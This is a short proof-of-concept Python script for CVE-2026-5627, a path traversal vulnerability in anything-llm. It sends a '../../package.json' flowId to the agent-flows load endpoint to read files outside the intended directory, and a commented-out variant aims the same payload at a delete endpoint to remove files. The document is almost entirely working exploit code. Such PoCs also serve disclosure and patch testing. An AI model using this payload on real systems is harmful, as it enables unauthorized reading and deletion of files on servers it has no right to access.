CVE-2026-5627 anything-llm路径遍历漏洞

# Proof of Concept (PoC) for CVE-2026-5627 # This script demonstrates how to exploit the path traversal to read a sensitive file. import requests target_url = "http://localhost:3000/api/agent-flows/load" headers = {"Content-Type": "application/json"} # Payload to traverse directories and read a .json file (e.g., package.json) payload = { "flowId": "../../package.json" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") # Example for deleting a file: # delete_url = "http://localhost:3000/api/agent-flows/delete" # requests.post(delete_url, json=payload, headers=headers)